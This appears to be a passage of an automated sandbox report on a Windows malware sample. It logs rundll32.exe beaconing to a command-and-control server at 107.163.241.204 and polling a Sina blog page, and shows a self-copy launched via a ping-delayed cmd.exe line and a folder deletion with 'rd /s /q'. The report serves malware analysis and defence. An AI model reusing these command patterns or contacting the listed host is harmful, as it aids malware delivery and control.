Dec 11, 2024 16:28:36.720206022 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	50895	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:36.827725887 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	50914	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:37.186728954 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	50916	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:37.216780901 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	50918	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:37.219770908 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.8	50930	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:37.428847075 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Dec 11, 2024 16:29:34.306355000 CET	202.108.0.52	443	192.168.2.8	63657	CN=sina.com, O="Sina.com Technology(China)Co.,ltd", ST=Beijing, C=CN CN=GeoTrust CN RSA CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust CN RSA CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Dec 02 01:00:00 CET 2024 Thu Jun 20 14:27:58 CEST 2019	Sat Jan 03 00:59:59 CET 2026 Wed Jun 20 14:27:58 CEST 2029	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
Dec 11, 2024 16:29:34.306355000 CET	202.108.0.52	443	192.168.2.8	63657	CN=GeoTrust CN RSA CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 20 14:27:58 CEST 2019	Wed Jun 20 14:27:58 CEST 2029		37f463bf4616ecd445d4a1937da06e19

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49769	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:23 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive
2024-12-11 15:27:24 UTC	846	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 15:27:27 GMT Content-Type: text/html Content-Length: 325 Connection: close Set-Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; path=/; expires=Sat, 09-Dec-34 15:27:23 GMT; domain=.sina.com.cn Set-Cookie: U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63; path=/; domain=.sina.com.cn Origin-Agent-Cluster: ?0 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Dec 2024 15:27:22 GMT Cache-Control: no-cache Pragma: no-cache DPOOL_HEADER: 10.13.3.118 strict-transport-security: max-age=180 Content-Security-Policy: upgrade-insecure-requests X-Cache: MISS from 0c5f09b916ff Content-Security-Policy: upgrade-insecure-requests X-Via-SSL: ssl.26.sinag1.bx.lb.sinanode.com
2024-12-11 15:27:24 UTC	325	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 43 4f 4e 54 45 4e 54 3d 22 2d 31 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 73 74 6f 72 65 22 20 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 20 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 2f 63 6f 6e 74 72 6f 6c 2e 62 6c 6f 67 2e 73 69 6e 61 2e 63 6f 6d 2e 63 6e 2f 6d 79 Data Ascii: <meta http-equiv="Expires" CONTENT="-1" ><meta http-equiv="Cache-Control" CONTENT="no-cache" ><meta http-equiv="Cache-Control" CONTENT="no-store" ><meta http-equiv="Pragma" CONTENT="no-cache" ><script>window.location.href='//control.blog.sina.com.cn/my

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49836	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:30 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49869	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:35 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49906	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:39 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49940	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:43 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49979	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:47 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	50020	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:51 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	50061	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:55 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	50102	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:27:59 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	50142	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:28:03 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	50191	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:28:07 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	50284	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:28:15 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	50355	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:28:19 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	50436	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:28:23 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	50527	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:28:27 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	51174	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:28:44 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	51680	202.108.0.52	443	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:28:53 UTC	238	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Target ID:	0
Start time:	10:27:07
Start date:	11/12/2024
Path:	C:\Users\user\Desktop\XXHYneydvF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\XXHYneydvF.exe"
Imagebase:	0x400000
File size:	87'428 bytes
MD5 hash:	94803DF028D7F1AF9887B45667230632
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:27:07
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 2&C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:27:07
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:27:07
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x410000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:27:08
Start date:	11/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ygqcn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe"
Imagebase:	0x400000
File size:	87'834 bytes
MD5 hash:	FEC9BB7DF5F493703F25649E8B808F7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:27:09
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system32\rundll32.exe "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\ygqcn.exe
Imagebase:	0x750000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:27:24
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\rundll32.exe" "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface
Imagebase:	0x750000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:27:24
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\yucdh"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:27:24
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:27:24
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0x410000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:27:32
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\SysWOW64\rundll32.exe" "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface
Imagebase:	0x750000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: cmd.exePID: 2100, Parent PID: 4300

General

Target ID:	14
Start time:	10:27:32
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\yucdh"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 636, Parent PID: 2100

General

Target ID:	15
Start time:	10:27:32
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:27:32
Start date:	11/12/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0x410000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.2%
Total number of Nodes:	276
Total number of Limit Nodes:	7

Executed Functions

Function 00401A2A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000084,IMAGE), ref: 00401A46
LoadResource.KERNEL32(00000000,00000000), ref: 00401A54
SizeofResource.KERNEL32(00000000,00000000), ref: 00401A69
LockResource.KERNEL32(00000000,00000000), ref: 00401A74
memcpy.MSVCRT(00000000,00000000), ref: 00401A7C
wsprintfA.USER32 ref: 00401B2B
CreateDirectoryA.KERNEL32(?,00000000), ref: 00401B38
Sleep.KERNEL32(00000064), ref: 00401B40
memset.MSVCRT ref: 00401B4D
wsprintfA.USER32 ref: 00401B74

Strings

IMAGE, xrefs: 00401A39

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: Resource$wsprintf$CreateDirectoryFindLoadLockSizeofSleepmemcpymemset
String ID: IMAGE
API String ID: 3931793037-845793007
Opcode ID: d3edc049732555914adbff52832aa4292bf647af716a8d02043898333d2fcd6f
Instruction ID: 4f975884327954dfad89ea398a43f93018ff4a6e72412e49f1d32c0e5fd34b6a
Opcode Fuzzy Hash: d3edc049732555914adbff52832aa4292bf647af716a8d02043898333d2fcd6f
Instruction Fuzzy Hash: 0AE04F673041646AE22026B96DC995B6A6CC2C57EAB110537FB43F219094748C0545B9

Function 00401867 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 151
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#823.MFC42(00100000), ref: 00401879
memset.MSVCRT ref: 00401888
__p___argv.MSVCRT ref: 00401897

Part of subcall function 004017B2: CreateFileA.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004017ED

__p___argv.MSVCRT ref: 004018B9

Part of subcall function 004017B2: memset.MSVCRT ref: 00401814
Part of subcall function 004017B2: ReadFile.KERNELBASE(?,?,00001000,?,00000000), ref: 0040182C
Part of subcall function 004017B2: memcpy.MSVCRT(?,?,?), ref: 00401847
Part of subcall function 004017B2: CloseHandle.KERNELBASE(?), ref: 00401859

Sleep.KERNEL32(00000064), ref: 004018CE
GetTickCount.KERNEL32 ref: 00401906
GetTempPathA.KERNEL32(00000104,?), ref: 00401936
wsprintfA.USER32 ref: 00401953
CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401973
#823.MFC42(?), ref: 0040197F
Sleep.KERNELBASE(00000064), ref: 0040198A
WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 004019A0
Sleep.KERNELBASE(00000064), ref: 004019A4
WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 004019B4
CloseHandle.KERNELBASE(?), ref: 004019B9
#825.MFC42(?), ref: 004019C2
#825.MFC42(?,?), ref: 004019CA
__p___argv.MSVCRT ref: 004019E7
wsprintfA.USER32 ref: 00401A04
WinExec.KERNEL32(?,00000000), ref: 00401A15
Sleep.KERNELBASE(000001F4), ref: 00401A20
ExitProcess.KERNEL32 ref: 00401A24

Strings

cmd.exe /c ping 127.0.0.1 -n 2&%s "%s", xrefs: 004019FE
%s\%s.exe, xrefs: 0040194D

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: File$Sleep$__p___argv$#823#825CloseCreateHandleWritememsetwsprintf$CountExecExitPathProcessReadTempTickmemcpy
String ID: %s\%s.exe$cmd.exe /c ping 127.0.0.1 -n 2&%s "%s"
API String ID: 4283993690-2816570591
Opcode ID: ab959de17b0fb4db71de5dd11ebeeed1c3cf6ecd018e597a28ae6875c8dd4de7
Instruction ID: 647a47b4171ebbf043bbf0605c80f25e9859b4608e82af673633275921c822a3
Opcode Fuzzy Hash: ab959de17b0fb4db71de5dd11ebeeed1c3cf6ecd018e597a28ae6875c8dd4de7
Instruction Fuzzy Hash: EB515EB2900109BFEB11ABE4DD49EDEBB79EF88300F1004B6F704B61A1DB755A548F69

Function 00402F22 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00402F4F
__p__fmode.MSVCRT ref: 00402F64
__p__commode.MSVCRT ref: 00402F72
__setusermatherr.MSVCRT ref: 00402F9E
_initterm.MSVCRT ref: 00402FB4
__getmainargs.MSVCRT ref: 00402FD7
_initterm.MSVCRT ref: 00402FE7
GetStartupInfoA.KERNEL32(?), ref: 00403026
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040304A
exit.MSVCRT ref: 0040305A
_XcptFilter.MSVCRT ref: 0040306C

Strings

`@, xrefs: 00402FCF, 00402FD2

Memory Dump Source

Source File: 00000000.00000002.1432096281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1432052434.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432137836.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432176799.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432203627.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1432262272.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XXHYneydvF.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: `@
API String ID: 801014965-3559765445
